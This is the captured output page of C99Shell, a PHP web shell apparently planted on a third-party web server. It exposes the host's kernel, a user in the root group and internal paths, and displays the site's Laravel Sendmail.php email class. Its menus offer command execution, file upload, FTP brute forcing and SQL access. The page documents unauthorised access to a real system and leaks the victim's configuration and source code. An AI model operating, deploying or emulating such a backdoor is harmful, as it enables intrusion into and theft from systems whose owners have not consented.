!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/picomail.picotech.app/public_html/app/EmailProvider/   drwxr-xr-x
Free 28.65 GB of 117.98 GB (24.28%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Sendmail.php (3.24 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\EmailProvider;


use 
App\Models\CampaignTemplate;
use 
App\Models\MessageLog;
use 
App\Models\SendingServer;
use 
Illuminate\Support\Facades\Config;
use 
Illuminate\Support\Facades\Log;
use 
Illuminate\Support\Facades\Mail;
use 
\App\Events\SendEMail;
use 
Illuminate\Support\Facades\Storage;
use 
Illuminate\Support\Str;
use 
Symfony\Component\Mailer\Mailer;
use 
Symfony\Component\Mailer\Transport;
use 
Symfony\Component\Mime\Crypto\DkimSigner;
use 
Symfony\Component\Mime\Email;
use 
Symfony\Component\Mime\Address;

class 
Sendmail implements SendMailInterface
{
    private 
$errors;
    private 
$message_id;

    public function 
__construct($messageId)
    {
        
$this->message_id=$messageId//email_queues id
        
$this->errors=[];
    }

    public function 
setFrom($from$fromName)
    {
        
$this->from = new Address($from$fromName);
        return 
$this;
    }
    public function 
setReplyTo($reply_to)
    {
        
$this->reply_to $reply_to;
        return 
$this;
    }
    public function 
setTo($to)
    {
        
$this->to $to;
        return 
$this;
    }

    public function 
setSubject($subject)
    {
        
$this->subject $subject;
        return 
$this;
    }

    public function 
setBody($body)
    {
        
$this->body $body;
        return 
$this;
    }

    public function 
setFiles($files){
        
$files  json_decode($files);
        
$files_arr = [];
        if (
$files) {
            foreach (
$files as $file) {
                
$files_arr[] = $file;
            }
        }
        
$this->files $files_arr;
        return 
$this;
    }

    public function 
setConfig($config){

            
$this->config=$config;
            return 
$this;
    }

    public function 
process()
    {

        try{
            
$server $this->config;
            if(isset(
$server->from) && $server->from == 'sendmail' && isset($server->value)) {
                
$config_value json_decode($server->value);
                
$transport Transport::fromDsn("sendmail://default");
                
$mailer = new Mailer($transport);
                
$email = (new Email())
                    ->
from($this->from)
                    ->
to($this->to)
                    ->
replyTo($this->reply_to)
                    ->
priority(Email::PRIORITY_NORMAL)
                    ->
subject($this->subject)
                   
// ->text('This is an important message!')
                    
->html($this->body);
                if(isset(
$config_value->dkim_private_key) && isset($config_value->dkim_domain) && isset($config_value->dkim_selector)){
                    
$signer = new DkimSigner($config_value->dkim_private_key$config_value->dkim_domain$config_value->dkim_selector);
                    
$email $signer->sign($email);
                }
               
$mailer->send($email);

            }
        }catch (
\Exception $ex){
            if(
config('app.debug')){
                
Log::info($ex->getMessage());
            }
            
$this->errors[]=[
                
'id'=>$this->message_id,
                
'message'=>$ex->getMessage()
            ];
        }
        return 
$this;
    }
    public function 
errors(){
        return 
$this->errors;
    }


}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0034 ]--